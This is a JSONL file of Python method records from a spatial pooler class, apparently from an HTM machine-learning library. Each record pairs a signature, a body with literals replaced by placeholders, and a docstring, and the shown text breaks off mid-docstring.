{"signature": "def getGlobalInhibition(self):", "body": "return self._globalInhibition<EOL>", "docstring": ":returns: (bool) whether global inhibition is enabled.", "id": "f17561:c4:m9"}
{"signature": "def setGlobalInhibition(self, globalInhibition):", "body": "self._globalInhibition = globalInhibition<EOL>", "docstring": ":param globalInhibition: (bool) value to set.", "id": "f17561:c4:m10"}
{"signature": "def getNumActiveColumnsPerInhArea(self):", "body": "return self._numActiveColumnsPerInhArea<EOL>", "docstring": ":returns: (float) the number of active columns per inhibition area. Returns \n          a value less than 0 if parameter is unused.", "id": "f17561:c4:m11"}
{"signature": "def setNumActiveColumnsPerInhArea(self, numActiveColumnsPerInhArea):", "body": "assert(numActiveColumnsPerInhArea > <NUM_LIT:0>)<EOL>self._numActiveColumnsPerInhArea = numActiveColumnsPerInhArea<EOL>self._localAreaDensity = <NUM_LIT:0><EOL>", "docstring": "Sets the number of active columns per inhibition area. Invalidates the\n``localAreaDensity`` parameter\n\n:param numActiveColumnsPerInhArea: (float) value to set", "id": "f17561:c4:m12"}
{"signature": "def getLocalAreaDensity(self):", "body": "return self._localAreaDensity<EOL>", "docstring": ":returns: (float) the local area density. Returns a value less than 0 if \n          parameter is unused.", "id": "f17561:c4:m13"}
{"signature": "def setLocalAreaDensity(self, localAreaDensity):", "body": "assert(localAreaDensity > <NUM_LIT:0> and localAreaDensity <= <NUM_LIT:1>)<EOL>self._localAreaDensity = localAreaDensity<EOL>self._numActiveColumnsPerInhArea = <NUM_LIT:0><EOL>", "docstring": "Sets the local area density. Invalidates the 'numActiveColumnsPerInhArea'\nparameter\n\n:param localAreaDensity: (float) value to set", "id": "f17561:c4:m14"}
{"signature": "def getStimulusThreshold(self):", "body": "return self._stimulusThreshold<EOL>", "docstring": ":returns: (int) the stimulus threshold", "id": "f17561:c4:m15"}
{"signature": "def setStimulusThreshold(self, stimulusThreshold):", "body": "self._stimulusThreshold = stimulusThreshold<EOL>", "docstring": ":param stimulusThreshold: (float) value to set.", "id": "f17561:c4:m16"}
{"signature": "def getInhibitionRadius(self):", "body": "return self._inhibitionRadius<EOL>", "docstring": ":returns: (int) the inhibition radius", "id": "f17561:c4:m17"}
{"signature": "def setInhibitionRadius(self, inhibitionRadius):", "body": "self._inhibitionRadius = inhibitionRadius<EOL>", "docstring": ":param inhibitionRadius: (int) value to set", "id": "f17561:c4:m18"}
{"signature": "def getDutyCyclePeriod(self):", "body": "return self._dutyCyclePeriod<EOL>", "docstring": ":returns: (int) the duty cycle period", "id": "f17561:c4:m19"}
{"signature": "def setDutyCyclePeriod(self, dutyCyclePeriod):", "body": "self._dutyCyclePeriod = dutyCyclePeriod<EOL>", "docstring": ":param dutyCyclePeriod: (int) value to set.", "id": "f17561:c4:m20"}
{"signature": "def getBoostStrength(self):", "body": "return self._boostStrength<EOL>", "docstring": ":returns: (float) the maximum boost value used.", "id": "f17561:c4:m21"}
{"signature": "def setBoostStrength(self, boostStrength):", "body": "self._boostStrength = boostStrength<EOL>", "docstring": "Sets the maximum boost value.\n:param boostStrength: (float) value to set", "id": "f17561:c4:m22"}
{"signature": "def getIterationNum(self):", "body": "return self._iterationNum<EOL>", "docstring": ":returns: the iteration number", "id": "f17561:c4:m23"}
{"signature": "def setIterationNum(self, iterationNum):", "body": "self._iterationNum = iterationNum<EOL>", "docstring": ":param iterationNum: (int) value to set", "id": "f17561:c4:m24"}
{"signature": "def getIterationLearnNum(self):", "body": "return self._iterationLearnNum<EOL>", "docstring": ":returns: (int) The number of iterations that have been learned.", "id": "f17561:c4:m25"}
{"signature": "def setIterationLearnNum(self, iterationLearnNum):", "body": "self._iterationLearnNum = iterationLearnNum<EOL>", "docstring": ":param iterationLearnNum: (int) value to set", "id": "f17561:c4:m26"}
{"signature": "def getSpVerbosity(self):", "body": "return self._spVerbosity<EOL>", "docstring": ":returns: (int) the verbosity level, larger is more verbose.", "id": "f17561:c4:m27"}
{"signature": "def setSpVerbosity(self, spVerbosity):", "body": "self._spVerbosity = spVerbosity<EOL>", "docstring": ":param spVerbosity: (int) value to set, larger is more verbose.", "id": "f17561:c4:m28"}
{"signature": "def getUpdatePeriod(self):", "body": "return self._updatePeriod<EOL>", "docstring": ":returns: (int) The period at which active duty cycles are updated.", "id": "f17561:c4:m29"}
{"signature": "def setUpdatePeriod(self, updatePeriod):", "body": "self._updatePeriod = updatePeriod<EOL>", "docstring": ":param updatePeriod: (int) The period at which active duty cycles are \n       updated.", "id": "f17561:c4:m30"}
{"signature": "def getSynPermTrimThreshold(self):", "body": "return self._synPermTrimThreshold<EOL>", "docstring": "Sparsity is enforced by trimming out all permanence values below this value.\n\n:returns: (float) the permanence trim threshold", "id": "f17561:c4:m31"}
{"signature": "def setSynPermTrimThreshold(self, synPermTrimThreshold):", "body": "self._synPermTrimThreshold = synPermTrimThreshold<EOL>", "docstring": "Sparsity is enforced by trimming out all permanence values below this value.\n\n:param synPermTrimThreshold: (float) the permanence trim threshold", "id": "f17561:c4:m32"}
{"signature": "def getSynPermActiveInc(self):", "body": "return self._synPermActiveInc<EOL>", "docstring": ":returns: (float) the permanence increment amount for active synapses inputs", "id": "f17561:c4:m33"}
{"signature": "def setSynPermActiveInc(self, synPermActiveInc):", "body": "self._synPermActiveInc = synPermActiveInc<EOL>", "docstring": "Sets the permanence increment amount for active synapses.\n\n:param synPermActiveInc: (float) value to set.", "id": "f17561:c4:m34"}
{"signature": "def getSynPermInactiveDec(self):", "body": "return self._synPermInactiveDec<EOL>", "docstring": ":returns: (float) the permanence decrement amount for inactive synapses.", "id": "f17561:c4:m35"}
{"signature": "def setSynPermInactiveDec(self, synPermInactiveDec):", "body": "self._synPermInactiveDec = synPermInactiveDec<EOL>", "docstring": "Sets the permanence decrement amount for inactive synapses.\n\n:param synPermInactiveDec: (float) value to set.", "id": "f17561:c4:m36"}
{"signature": "def getSynPermBelowStimulusInc(self):", "body": "return self._synPermBelowStimulusInc<EOL>", "docstring": ":returns: (float) the permanence increment amount for columns that have not \n          been recently active.", "id": "f17561:c4:m37"}
{"signature": "def setSynPermBelowStimulusInc(self, synPermBelowStimulusInc):", "body": "self._synPermBelowStimulusInc = synPermBelowStimulusInc<EOL>", "docstring": "Sets the permanence increment amount for columns that have not been\nrecently active.\n\n:param synPermBelowStimulusInc: (float) value to set.", "id": "f17561:c4:m38"}
{"signature": "def getSynPermConnected(self):", "body": "return self._synPermConnected<EOL>", "docstring": ":returns: (float) the permanence amount that qualifies a synapse as being \n          connected.", "id": "f17561:c4:m39"}
{"signature": "def setSynPermConnected(self, synPermConnected):", "body": "self._synPermConnected = synPermConnected<EOL>", "docstring": "Sets the permanence amount that qualifies a synapse as being\nconnected.\n\n:param synPermConnected: (float) value to set.", "id": "f17561:c4:m40"}
{"signature": "def getMinPctOverlapDutyCycles(self):", "body": "return self._minPctOverlapDutyCycles<EOL>", "docstring": ":returns: (float) the minimum tolerated overlaps, given as percent of\n          neighbors overlap score", "id": "f17561:c4:m41"}
{"signature": "def setMinPctOverlapDutyCycles(self, minPctOverlapDutyCycles):", "body": "self._minPctOverlapDutyCycles = minPctOverlapDutyCycles<EOL>", "docstring": "Sets the minimum tolerated activity duty cycle, given as percent of\nneighbors' activity duty cycle.\n\n:param minPctOverlapDutyCycles: (float) value to set.", "id": "f17561:c4:m42"}
{"signature": "def getBoostFactors(self, boostFactors):", "body": "boostFactors[:] = self._boostFactors[:]<EOL>", "docstring": "Gets the boost factors for all columns. Input list will be overwritten.\n\n:param boostFactors: (list) size must match number of columns.", "id": "f17561:c4:m43"}
{"signature": "def setBoostFactors(self, boostFactors):", "body": "self._boostFactors[:] = boostFactors[:]<EOL>", "docstring": "Sets the boost factors for all columns. ``boostFactors`` size must match\nthe number of columns.\n\n:param boostFactors: (iter) value to set.", "id": "f17561:c4:m44"}
{"signature": "def getOverlapDutyCycles(self, overlapDutyCycles):", "body": "overlapDutyCycles[:] = self._overlapDutyCycles[:]<EOL>", "docstring": "Gets the overlap duty cycles for all columns. ``overlapDutyCycles``\nsize must match the number of columns.\n\n:param overlapDutyCycles: (list) will be overwritten.", "id": "f17561:c4:m45"}
{"signature": "def setOverlapDutyCycles(self, overlapDutyCycles):", "body": "self._overlapDutyCycles[:] = overlapDutyCycles<EOL>", "docstring": "Sets the overlap duty cycles for all columns. ``overlapDutyCycles``\nsize must match the number of columns.\n\n:param overlapDutyCycles: (list) value to set.", "id": "f17561:c4:m46"}
{"signature": "def getActiveDutyCycles(self, activeDutyCycles):", "body": "activeDutyCycles[:] = self._activeDutyCycles[:]<EOL>", "docstring": "Gets the activity duty cycles for all columns. Input list will be \noverwritten.\n\n:param activeDutyCycles: (list) size must match number of columns.", "id": "f17561:c4:m47"}
{"signature": "def setActiveDutyCycles(self, activeDutyCycles):", "body": "self._activeDutyCycles[:] = activeDutyCycles<EOL>", "docstring": "Sets the activity duty cycles for all columns. ``activeDutyCycles`` size \nmust match the number of columns.\n\n:param activeDutyCycles: (list) value to set.", "id": "f17561:c4:m48"}
{"signature": "def getMinOverlapDutyCycles(self, minOverlapDutyCycles):", "body": "minOverlapDutyCycles[:] = self._minOverlapDutyCycles[:]<EOL>", "docstring": ":returns: (list) the minimum overlap duty cycles for all columns. \n          ``minOverlapDutyCycles`` size must match the number of columns.", "id": "f17561:c4:m49"}
{"signature": "def setMinOverlapDutyCycles(self, minOverlapDutyCycles):", "body": "self._minOverlapDutyCycles[:] = minOverlapDutyCycles[:]<EOL>", "docstring": "Sets the minimum overlap duty cycles for all columns. \n``minOverlapDutyCycles`` size must match the number of columns.\n\n:param minOverlapDutyCycles: (iter) value to set.", "id": "f17561:c4:m50"}
{"signature": "def getPotential(self, columnIndex, potential):", "body": "assert(columnIndex < self._numColumns)<EOL>potential[:] = self._potentialPools[columnIndex]<EOL>", "docstring": ":param columnIndex: (int) column index to get potential for.\n:param potential: (list) will be overwritten with column potentials. Must \n       match the number of inputs.", "id": "f17561:c4:m51"}
{"signature": "def setPotential(self, columnIndex, potential):", "body": "assert(columnIndex < self._numColumns)<EOL>potentialSparse = numpy.where(potential > <NUM_LIT:0>)[<NUM_LIT:0>]<EOL>if len(potentialSparse) < self._stimulusThreshold:<EOL><INDENT>raise Exception(\"<STR_LIT>\" +<EOL>\"<STR_LIT>\" +<EOL>\"<STR_LIT>\")<EOL><DEDENT>self._potentialPools.replace(columnIndex, potentialSparse)<EOL>", "docstring": "Sets the potential mapping for a given column. ``potential`` size must match \nthe number of inputs, and must be greater than ``stimulusThreshold``.\n\n:param columnIndex: (int) column index to set potential for.\n:param potential: (list) value to set.", "id": "f17561:c4:m52"}
{"signature": "def getPermanence(self, columnIndex, permanence):", "body": "assert(columnIndex < self._numColumns)<EOL>permanence[:] = self._permanences[columnIndex]<EOL>", "docstring": "Returns the permanence values for a given column. ``permanence`` size\nmust match the number of inputs.\n\n:param columnIndex: (int) column index to get permanence for.\n:param permanence: (list) will be overwritten with permanences.", "id": "f17561:c4:m53"}
{"signature": "def setPermanence(self, columnIndex, permanence):", "body": "assert(columnIndex < self._numColumns)<EOL>self._updatePermanencesForColumn(permanence, columnIndex, raisePerm=False)<EOL>", "docstring": "Sets the permanence values for a given column. ``permanence`` size must \nmatch the number of inputs.\n\n:param columnIndex: (int) column index to set permanence for.\n:param permanence: (list) value to set.", "id": "f17561:c4:m54"}
{"signature": "def getConnectedSynapses(self, columnIndex, connectedSynapses):", "body": "assert(columnIndex < self._numColumns)<EOL>connectedSynapses[:] = self._connectedSynapses[columnIndex]<EOL>", "docstring": ":param connectedSynapses: (list) will be overwritten\n:returns: (iter) the connected synapses for a given column.\n          ``connectedSynapses`` size must match the number of inputs", "id": "f17561:c4:m55"}
{"signature": "def getConnectedCounts(self, connectedCounts):", "body": "connectedCounts[:] = self._connectedCounts[:]<EOL>", "docstring": ":param connectedCounts: (list) will be overwritten\n:returns: (int) the number of connected synapses for all columns.\n          ``connectedCounts`` size must match the number of columns.", "id": "f17561:c4:m56"}
{"signature": "def getOverlaps(self):", "body": "return self._overlaps<EOL>", "docstring": ":returns: (iter) the overlap score for each column.", "id": "f17561:c4:m57"}
{"signature": "def getBoostedOverlaps(self):", "body": "return self._boostedOverlaps<EOL>", "docstring": ":returns: (list) the boosted overlap score for each column.", "id": "f17561:c4:m58"}
{"signature": "def compute(self, inputVector, learn, activeArray):", "body": "if not isinstance(inputVector, numpy.ndarray):<EOL><INDENT>raise TypeError(\"<STR_LIT>\" %<EOL>str(type(inputVector)))<EOL><DEDENT>if inputVector.size != self._numInputs:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\" % (<EOL>inputVector.size, self._numInputs))<EOL><DEDENT>self._updateBookeepingVars(learn)<EOL>inputVector = numpy.array(inputVector, dtype=realDType)<EOL>inputVector.reshape(-<NUM_LIT:1>)<EOL>self._overlaps = self._calculateOverlap(inputVector)<EOL>if learn:<EOL><INDENT>self._boostedOverlaps = self._boostFactors * self._overlaps<EOL><DEDENT>else:<EOL><INDENT>self._boostedOverlaps = self._overlaps<EOL><DEDENT>activeColumns = self._inhibitColumns(self._boostedOverlaps)<EOL>if learn:<EOL><INDENT>self._adaptSynapses(inputVector, activeColumns)<EOL>self._updateDutyCycles(self._overlaps, activeColumns)<EOL>self._bumpUpWeakColumns()<EOL>self._updateBoostFactors()<EOL>if self._isUpdateRound():<EOL><INDENT>self._updateInhibitionRadius()<EOL>self._updateMinDutyCycles()<EOL><DEDENT><DEDENT>activeArray.fill(<NUM_LIT:0>)<EOL>activeArray[activeColumns] = <NUM_LIT:1><EOL>", "docstring": "This is the primary public method of the SpatialPooler class. This\nfunction takes a input vector and outputs the indices of the active columns.\nIf 'learn' is set to True, this method also updates the permanences of the\ncolumns.\n\n:param inputVector: A numpy array of 0's and 1's that comprises the input\n    to the spatial pooler. The array will be treated as a one dimensional\n    array, therefore the dimensions of the array do not have to match the\n    exact dimensions specified in the class constructor. In fact, even a\n    list would suffice. The number of input bits in the vector must,\n    however, match the number of bits specified by the call to the\n    constructor. Therefore there must be a '0' or '1' in the array for\n    every input bit.\n:param learn: A boolean value indicating whether learning should be\n    performed. Learning entails updating the  permanence values of the\n    synapses, and hence modifying the 'state' of the model. Setting\n    learning to 'off' freezes the SP and has many uses. For example, you\n    might want to feed in various inputs and examine the resulting SDR's.\n:param activeArray: An array whose size is equal to the number of columns.\n    Before the function returns this array will be populated with 1's at\n    the indices of the active columns, and 0's everywhere else.", "id": "f17561:c4:m59"}
{"signature": "def stripUnlearnedColumns(self, activeArray):", "body": "neverLearned = numpy.where(self._activeDutyCycles == <NUM_LIT:0>)[<NUM_LIT:0>]<EOL>activeArray[neverLearned] = <NUM_LIT:0><EOL>", "docstring": "Removes the set of columns who have never been active from the set of\nactive columns selected in the inhibition round. Such columns cannot\nrepresent learned pattern and are therefore meaningless if only inference\nis required. This should not be done when using a random, unlearned SP\nsince you would end up with no active columns.\n\n:param activeArray: An array whose size is equal to the number of columns.\n    Any columns marked as active with an activeDutyCycle of 0 have\n    never been activated before and therefore are not active due to\n    learning. Any of these (unlearned) columns will be disabled (set to 0).", "id": "f17561:c4:m60"}
{"signature": "def _updateMinDutyCycles(self):", "body": "if self._globalInhibition or self._inhibitionRadius > self._numInputs:<EOL><INDENT>self._updateMinDutyCyclesGlobal()<EOL><DEDENT>else:<EOL><INDENT>self._updateMinDutyCyclesLocal()<EOL><DEDENT>", "docstring": "Updates the minimum duty cycles defining normal activity for a column. A\ncolumn with activity duty cycle below this minimum threshold is boosted.", "id": "f17561:c4:m61"}
{"signature": "def _updateMinDutyCyclesGlobal(self):", "body": "self._minOverlapDutyCycles.fill(<EOL>self._minPctOverlapDutyCycles * self._overlapDutyCycles.max()<EOL>)<EOL>", "docstring": "Updates the minimum duty cycles in a global fashion. Sets the minimum duty\ncycles for the overlap all columns to be a percent of the maximum in the\nregion, specified by minPctOverlapDutyCycle. Functionality it is equivalent\nto _updateMinDutyCyclesLocal, but this function exploits the globality of\nthe computation to perform it in a straightforward, and efficient manner.", "id": "f17561:c4:m62"}
{"signature": "def _updateMinDutyCyclesLocal(self):", "body": "for column in range(self._numColumns):<EOL><INDENT>neighborhood = self._getColumnNeighborhood(column)<EOL>maxActiveDuty = self._activeDutyCycles[neighborhood].max()<EOL>maxOverlapDuty = self._overlapDutyCycles[neighborhood].max()<EOL>self._minOverlapDutyCycles[column] = (maxOverlapDuty *<EOL>self._minPctOverlapDutyCycles)<EOL><DEDENT>", "docstring": "Updates the minimum duty cycles. The minimum duty cycles are determined\nlocally. Each column's minimum duty cycles are set to be a percent of the\nmaximum duty cycles in the column's neighborhood. Unlike\n_updateMinDutyCyclesGlobal, here the values can be quite different for\ndifferent columns.", "id": "f17561:c4:m63"}
{"signature": "def _updateDutyCycles(self, overlaps, activeColumns):", "body": "overlapArray = numpy.zeros(self._numColumns, dtype=realDType)<EOL>activeArray = numpy.zeros(self._numColumns, dtype=realDType)<EOL>overlapArray[overlaps > <NUM_LIT:0>] = <NUM_LIT:1><EOL>activeArray[activeColumns] = <NUM_LIT:1><EOL>period = self._dutyCyclePeriod<EOL>if (period > self._iterationNum):<EOL><INDENT>period = self._iterationNum<EOL><DEDENT>self._overlapDutyCycles = self._updateDutyCyclesHelper(<EOL>self._overlapDutyCycles,<EOL>overlapArray,<EOL>period<EOL>)<EOL>self._activeDutyCycles = self._updateDutyCyclesHelper(<EOL>self._activeDutyCycles,<EOL>activeArray,<EOL>period<EOL>)<EOL>", "docstring": "Updates the duty cycles for each column. The OVERLAP duty cycle is a moving\naverage of the number of inputs which overlapped with the each column. The\nACTIVITY duty cycles is a moving average of the frequency of activation for\neach column.\n\nParameters:\n----------------------------\n:param overlaps:\n                An array containing the overlap score for each column.\n                The overlap score for a column is defined as the number\n                of synapses in a \"connected state\" (connected synapses)\n                that are connected to input bits which are turned on.\n:param activeColumns:\n                An array containing the indices of the active columns,\n                the sparse set of columns which survived inhibition", "id": "f17561:c4:m64"}
{"signature": "def _updateInhibitionRadius(self):", "body": "if self._globalInhibition:<EOL><INDENT>self._inhibitionRadius = int(self._columnDimensions.max())<EOL>return<EOL><DEDENT>avgConnectedSpan = numpy.average(<EOL>[self._avgConnectedSpanForColumnND(i)<EOL>for i in range(self._numColumns)]<EOL>)<EOL>columnsPerInput = self._avgColumnsPerInput()<EOL>diameter = avgConnectedSpan * columnsPerInput<EOL>radius = (diameter - <NUM_LIT:1>) / <NUM_LIT><EOL>radius = max(<NUM_LIT:1.0>, radius)<EOL>self._inhibitionRadius = int(radius + <NUM_LIT:0.5>)<EOL>", "docstring": "Update the inhibition radius. The inhibition radius is a measure of the\nsquare (or hypersquare) of columns that each a column is \"connected to\"\non average. Since columns are are not connected to each other directly, we\ndetermine this quantity by first figuring out how many *inputs* a column is\nconnected to, and then multiplying it by the total number of columns that\nexist for each input. For multiple dimension the aforementioned\ncalculations are averaged over all dimensions of inputs and columns. This\nvalue is meaningless if global inhibition is enabled.", "id": "f17561:c4:m65"}
{"signature": "def _avgColumnsPerInput(self):", "body": "<EOL>numDim = max(self._columnDimensions.size, self._inputDimensions.size)<EOL>colDim = numpy.ones(numDim)<EOL>colDim[:self._columnDimensions.size] = self._columnDimensions<EOL>inputDim = numpy.ones(numDim)<EOL>inputDim[:self._inputDimensions.size] = self._inputDimensions<EOL>columnsPerInput = colDim.astype(realDType) / inputDim<EOL>return numpy.average(columnsPerInput)<EOL>", "docstring": "The average number of columns per input, taking into account the topology\nof the inputs and columns. This value is used to calculate the inhibition\nradius. This function supports an arbitrary number of dimensions. If the\nnumber of column dimensions does not match the number of input dimensions,\nwe treat the missing, or phantom dimensions as 'ones'.", "id": "f17561:c4:m66"}
{"signature": "def _avgConnectedSpanForColumn1D(self, columnIndex):", "body": "assert(self._inputDimensions.size == <NUM_LIT:1>)<EOL>connected = self._connectedSynapses[columnIndex].nonzero()[<NUM_LIT:0>]<EOL>if connected.size == <NUM_LIT:0>:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>return max(connected) - min(connected) + <NUM_LIT:1><EOL><DEDENT>", "docstring": "The range of connected synapses for column. This is used to\ncalculate the inhibition radius. This variation of the function only\nsupports a 1 dimensional column topology.\n\nParameters:\n----------------------------\n:param columnIndex:   The index identifying a column in the permanence,\n                      potential and connectivity matrices", "id": "f17561:c4:m67"}
{"signature": "def _avgConnectedSpanForColumn2D(self, columnIndex):", "body": "assert(self._inputDimensions.size == <NUM_LIT:2>)<EOL>connected = self._connectedSynapses[columnIndex]<EOL>(rows, cols) = connected.reshape(self._inputDimensions).nonzero()<EOL>if  rows.size == <NUM_LIT:0> and cols.size == <NUM_LIT:0>:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>rowSpan = rows.max() - rows.min() + <NUM_LIT:1><EOL>colSpan = cols.max() - cols.min() + <NUM_LIT:1><EOL>return numpy.average([rowSpan, colSpan])<EOL>", "docstring": "The range of connectedSynapses per column, averaged for each dimension.\nThis value is used to calculate the inhibition radius. This variation of\nthe  function only supports a 2 dimensional column topology.\n\nParameters:\n----------------------------\n:param columnIndex:   The index identifying a column in the permanence,\n                      potential and connectivity matrices", "id": "f17561:c4:m68"}
{"signature": "def _avgConnectedSpanForColumnND(self, columnIndex):", "body": "dimensions = self._inputDimensions<EOL>connected = self._connectedSynapses[columnIndex].nonzero()[<NUM_LIT:0>]<EOL>if connected.size == <NUM_LIT:0>:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>maxCoord = numpy.empty(self._inputDimensions.size)<EOL>minCoord = numpy.empty(self._inputDimensions.size)<EOL>maxCoord.fill(-<NUM_LIT:1>)<EOL>minCoord.fill(max(self._inputDimensions))<EOL>for i in connected:<EOL><INDENT>maxCoord = numpy.maximum(maxCoord, numpy.unravel_index(i, dimensions))<EOL>minCoord = numpy.minimum(minCoord, numpy.unravel_index(i, dimensions))<EOL><DEDENT>return numpy.average(maxCoord - minCoord + <NUM_LIT:1>)<EOL>", "docstring": "The range of connectedSynapses per column, averaged for each dimension.\nThis value is used to calculate the inhibition radius. This variation of\nthe function supports arbitrary column dimensions.\n\nParameters:\n----------------------------\n:param index:   The index identifying a column in the permanence, potential\n                and connectivity matrices.", "id": "f17561:c4:m69"}
{"signature": "def _adaptSynapses(self, inputVector, activeColumns):", "body": "inputIndices = numpy.where(inputVector > <NUM_LIT:0>)[<NUM_LIT:0>]<EOL>permChanges = numpy.zeros(self._numInputs, dtype=realDType)<EOL>permChanges.fill(-<NUM_LIT:1> * self._synPermInactiveDec)<EOL>permChanges[inputIndices] = self._synPermActiveInc<EOL>for columnIndex in activeColumns:<EOL><INDENT>perm = self._permanences[columnIndex]<EOL>maskPotential = numpy.where(self._potentialPools[columnIndex] > <NUM_LIT:0>)[<NUM_LIT:0>]<EOL>perm[maskPotential] += permChanges[maskPotential]<EOL>self._updatePermanencesForColumn(perm, columnIndex, raisePerm=True)<EOL><DEDENT>", "docstring": "The primary method in charge of learning. Adapts the permanence values of\nthe synapses based on the input vector, and the chosen columns after\ninhibition round. Permanence values are increased for synapses connected to\ninput bits that are turned on, and decreased for synapses connected to\ninputs bits that are turned off.\n\nParameters:\n----------------------------\n:param inputVector:\n                A numpy array of 0's and 1's that comprises the input to\n                the spatial pooler. There exists an entry in the array\n                for every input bit.\n:param activeColumns:\n                An array containing the indices of the columns that\n                survived inhibition.", "id": "f17561:c4:m70"}
{"signature": "def _bumpUpWeakColumns(self):", "body": "weakColumns = numpy.where(self._overlapDutyCycles<EOL>< self._minOverlapDutyCycles)[<NUM_LIT:0>]<EOL>for columnIndex in weakColumns:<EOL><INDENT>perm = self._permanences[columnIndex].astype(realDType)<EOL>maskPotential = numpy.where(self._potentialPools[columnIndex] > <NUM_LIT:0>)[<NUM_LIT:0>]<EOL>perm[maskPotential] += self._synPermBelowStimulusInc<EOL>self._updatePermanencesForColumn(perm, columnIndex, raisePerm=False)<EOL><DEDENT>", "docstring": "This method increases the permanence values of synapses of columns whose\nactivity level has been too low. Such columns are identified by having an\noverlap duty cycle that drops too much below those of their peers. The\npermanence values for such columns are increased.", "id": "f17561:c4:m71"}
{"signature": "def _raisePermanenceToThreshold(self, perm, mask):", "body": "if len(mask) < self._stimulusThreshold:<EOL><INDENT>raise Exception(\"<STR_LIT>\" +<EOL>\"<STR_LIT>\" +<EOL>\"<STR_LIT>\")<EOL><DEDENT>numpy.clip(perm, self._synPermMin, self._synPermMax, out=perm)<EOL>while True:<EOL><INDENT>numConnected = numpy.nonzero(<EOL>perm > self._synPermConnected - PERMANENCE_EPSILON)[<NUM_LIT:0>].size<EOL>if numConnected >= self._stimulusThreshold:<EOL><INDENT>return<EOL><DEDENT>perm[mask] += self._synPermBelowStimulusInc<EOL><DEDENT>", "docstring": "This method ensures that each column has enough connections to input bits\nto allow it to become active. Since a column must have at least\n'self._stimulusThreshold' overlaps in order to be considered during the\ninhibition phase, columns without such minimal number of connections, even\nif all the input bits they are connected to turn on, have no chance of\nobtaining the minimum threshold. For such columns, the permanence values\nare increased until the minimum number of connections are formed.\n\n\nParameters:\n----------------------------\n:param perm:    An array of permanence values for a column. The array is\n                \"dense\", i.e. it contains an entry for each input bit, even\n                if the permanence value is 0.\n:param mask:    the indices of the columns whose permanences need to be\n                raised.", "id": "f17561:c4:m72"}
{"signature": "def _updatePermanencesForColumn(self, perm, columnIndex, raisePerm=True):", "body": "maskPotential = numpy.where(self._potentialPools[columnIndex] > <NUM_LIT:0>)[<NUM_LIT:0>]<EOL>if raisePerm:<EOL><INDENT>self._raisePermanenceToThreshold(perm, maskPotential)<EOL><DEDENT>perm[perm < self._synPermTrimThreshold] = <NUM_LIT:0><EOL>numpy.clip(perm, self._synPermMin, self._synPermMax, out=perm)<EOL>newConnected = numpy.where(perm >=<EOL>self._synPermConnected - PERMANENCE_EPSILON)[<NUM_LIT:0>]<EOL>self._permanences.update(columnIndex, perm)<EOL>self._connectedSynapses.replace(columnIndex, newConnected)<EOL>self._connectedCounts[columnIndex] = newConnected.size<EOL>", "docstring": "This method updates the permanence matrix with a column's new permanence\nvalues. The column is identified by its index, which reflects the row in\nthe matrix, and the permanence is given in 'dense' form, i.e. a full\narray containing all the zeros as well as the non-zero values. It is in\ncharge of implementing 'clipping' - ensuring that the permanence values are\nalways between 0 and 1 - and 'trimming' - enforcing sparsity by zeroing out\nall permanence values below '_synPermTrimThreshold'. It also maintains\nthe consistency between 'self._permanences' (the matrix storing the\npermanence values), 'self._connectedSynapses', (the matrix storing the bits\neach column is connected to), and 'self._connectedCounts' (an array storing\nthe number of input bits each column is connected to). Every method wishing\nto modify the permanence matrix should do so through this method.\n\nParameters:\n----------------------------\n:param perm:    An array of permanence values for a column. The array is\n                \"dense\", i.e. it contains an entry for each input bit, even\n                if the permanence value is 0.\n:param index:   The index identifying a column in the permanence, potential\n                and connectivity matrices\n:param raisePerm: A boolean value indicating whether the permanence values\n                should be raised until a minimum number are synapses are in\n                a connected state. Should be set to 'false' when a direct\n                assignment is required.", "id": "f17561:c4:m73"}
{"signature": "def _initPermConnected(self):", "body": "p = self._synPermConnected + (<EOL>self._synPermMax - self._synPermConnected)*self._random.getReal64()<EOL>p = int(p*<NUM_LIT>) / <NUM_LIT><EOL>return p<EOL>", "docstring": "Returns a randomly generated permanence value for a synapses that is\ninitialized in a connected state. The basic idea here is to initialize\npermanence values very close to synPermConnected so that a small number of\nlearning steps could make it disconnected or connected.\n\nNote: experimentation was done a long time ago on the best way to initialize\npermanence values, but the history for this particular scheme has been lost.", "id": "f17561:c4:m74"}
{"signature": "def _initPermNonConnected(self):", "body": "p = self._synPermConnected * self._random.getReal64()<EOL>p = int(p*<NUM_LIT>) / <NUM_LIT><EOL>return p<EOL>", "docstring": "Returns a randomly generated permanence value for a synapses that is to be\ninitialized in a non-connected state.", "id": "f17561:c4:m75"}
{"signature": "def _initPermanence(self, potential, connectedPct):", "body": "<EOL>perm = numpy.zeros(self._numInputs, dtype=realDType)<EOL>for i in range(self._numInputs):<EOL><INDENT>if (potential[i] < <NUM_LIT:1>):<EOL><INDENT>continue<EOL><DEDENT>if (self._random.getReal64() <= connectedPct):<EOL><INDENT>perm[i] = self._initPermConnected()<EOL><DEDENT>else:<EOL><INDENT>perm[i] = self._initPermNonConnected()<EOL><DEDENT><DEDENT>perm[perm < self._synPermTrimThreshold] = <NUM_LIT:0><EOL>return perm<EOL>", "docstring": "Initializes the permanences of a column. The method\nreturns a 1-D array the size of the input, where each entry in the\narray represents the initial permanence value between the input bit\nat the particular index in the array, and the column represented by\nthe 'index' parameter.\n\nParameters:\n----------------------------\n:param potential: A numpy array specifying the potential pool of the column.\n                Permanence values will only be generated for input bits\n                corresponding to indices for which the mask value is 1.\n:param connectedPct: A value between 0 or 1 governing the chance, for each\n                     permanence, that the initial permanence value will\n                     be a value that is considered connected.", "id": "f17561:c4:m76"}
{"signature": "def _mapColumn(self, index):", "body": "columnCoords = numpy.unravel_index(index, self._columnDimensions)<EOL>columnCoords = numpy.array(columnCoords, dtype=realDType)<EOL>ratios = columnCoords / self._columnDimensions<EOL>inputCoords = self._inputDimensions * ratios<EOL>inputCoords += <NUM_LIT:0.5> * self._inputDimensions / self._columnDimensions<EOL>inputCoords = inputCoords.astype(int)<EOL>inputIndex = numpy.ravel_multi_index(inputCoords, self._inputDimensions)<EOL>return inputIndex<EOL>", "docstring": "Maps a column to its respective input index, keeping to the topology of\nthe region. It takes the index of the column as an argument and determines\nwhat is the index of the flattened input vector that is to be the center of\nthe column's potential pool. It distributes the columns over the inputs\nuniformly. The return value is an integer representing the index of the\ninput bit. Examples of the expected output of this method:\n* If the topology is one dimensional, and the column index is 0, this\n  method will return the input index 0. If the column index is 1, and there\n  are 3 columns over 7 inputs, this method will return the input index 3.\n* If the topology is two dimensional, with column dimensions [3, 5] 